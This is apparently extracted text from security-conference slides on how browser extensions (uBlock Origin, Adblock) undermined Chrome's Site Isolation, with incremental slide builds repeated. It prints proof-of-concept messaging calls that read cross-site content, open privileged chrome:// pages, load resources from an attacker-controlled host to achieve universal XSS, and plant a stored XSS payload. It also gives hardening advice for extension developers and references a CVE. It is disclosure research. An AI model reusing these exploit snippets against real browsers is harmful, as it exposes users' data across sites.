{what:'getLists'}); vAPI.messaging.send(null, {what:'getAssetContent',url: "https://shhnjk.com/"}, e=>{console.log(e)}); // Open any URL vAPI.messaging.send(null, {what:'gotoURL',details:{url: "chrome://settings"}}, e=>{console.log(e)});

-

uBlock Origin // Read cross-site content vAPI.messaging.send(null, {what:'userSettings', name:"externalLists",value:"https://shhnjk.com/"}); vAPI.messaging.send("dashboard",

{what:'getLists'}); vAPI.messaging.send(null, {what:'getAssetContent',url: "https://shhnjk.com/"}, e=>{console.log(e)}); // Open any URL vAPI.messaging.send(null, {what:'gotoURL',details:{url: "chrome://settings"}}, e=>{console.log(e)}); // UXSS vAPI.messaging.send("dashboard", {what:'writeHiddenSettings',content: "userResourcesLocation https://attack.shhnjk.com/resource_location.txt"},()=>{ vAPI.messaging.send("dashboard", {what:'writeUserFilters',content: "*##+js(alert.js)"},()=>{ vAPI.messaging.send(null, {what:'reloadAllFilters'}); }); }); https://github.com/uBlockOrigin/uBlock-issues/issues/710

-

Adblock Most popular extension with 60+ million users (source: https://getadblock.com/)

// This function in Background script could be called indirectly from Content Script (fixed in Chrome 77) const readfile = function(file) { const xhr = new XMLHttpRequest(); xhr.open('GET', chrome.extension.getURL(file), false); xhr.send(); return xhr.responseText; };

-

Adblock Most popular extension with 60+ million users (source: https://getadblock.com/)

// This function in Background script could be called indirectly from Content Script (fixed in Chrome 77) const readfile = function(file) { const xhr = new XMLHttpRequest(); xhr.open('GET', chrome.extension.getURL(file), false); xhr.send(); return xhr.responseText; }; // XSS in getadblock.com chrome.storage.local.set({"userid":"'-alert(origin)-'"}) https://youtu.be/s1gRiyU8yqA

-

Extension needs more attention • With renderer compromise, you can

call content script APIs. And sometimes you can compromise extension process too. Can we escape browser sandbox from there?

-

Extension needs more attention • With renderer compromise, you can

call content script APIs. And sometimes you can compromise extension process too. Can we escape browser sandbox from there? • Does any widely used extension have web accessible JS file with Script Gadgets? That would mean complete bypass of CSP

-

Extension needs more attention • With renderer compromise, you can

call content script APIs. And sometimes you can compromise extension process too. Can we escape browser sandbox from there? • Does any widely used extension have web accessible JS file with Script Gadgets? That would mean complete bypass of CSP For extension developers: • Make sure that privileged messages are only called by extension pages MessageSender.url.startsWith(chrome.runtime.getURL("/")) • Must read: https://groups.google.com/a/chromium.org/forum/#!msg/chromium-extensions/0ei-UCHNm34/lDaXwQhzBAAJ

-

Conclusion • Site Isolation is really great and it's getting

harder to bypass Report Site Isolation bypass and earn up to $20k!!

-

Conclusion • Site Isolation is really great and it's getting

harder to bypass Report Site Isolation bypass and earn up to $20k!! • If you install an extension, you are probably losing Site Isolation

-

Conclusion • Site Isolation is really great and it's getting

harder to bypass Report Site Isolation bypass and earn up to $20k!! • If you install an extension, you are probably losing Site Isolation Next step: • We should move to Origin Isolation • Decide what to do about copy & paste

-

Conclusion • Site Isolation is really great and it's getting

harder to bypass Report Site Isolation bypass and earn up to $20k!! • If you install an extension, you are probably losing Site Isolation Next step: • We should move to Origin Isolation • Decide what to do about copy & paste Acknowledgement: • Thanks Google VRP! • Thanks Site Isolation

team (Nasko@, Creis@, Lukasza@, and others)! • Rob Wu for CRX Viewer (https://robwu.nl/crxviewer/)

-

Questions? CVE-2019-13714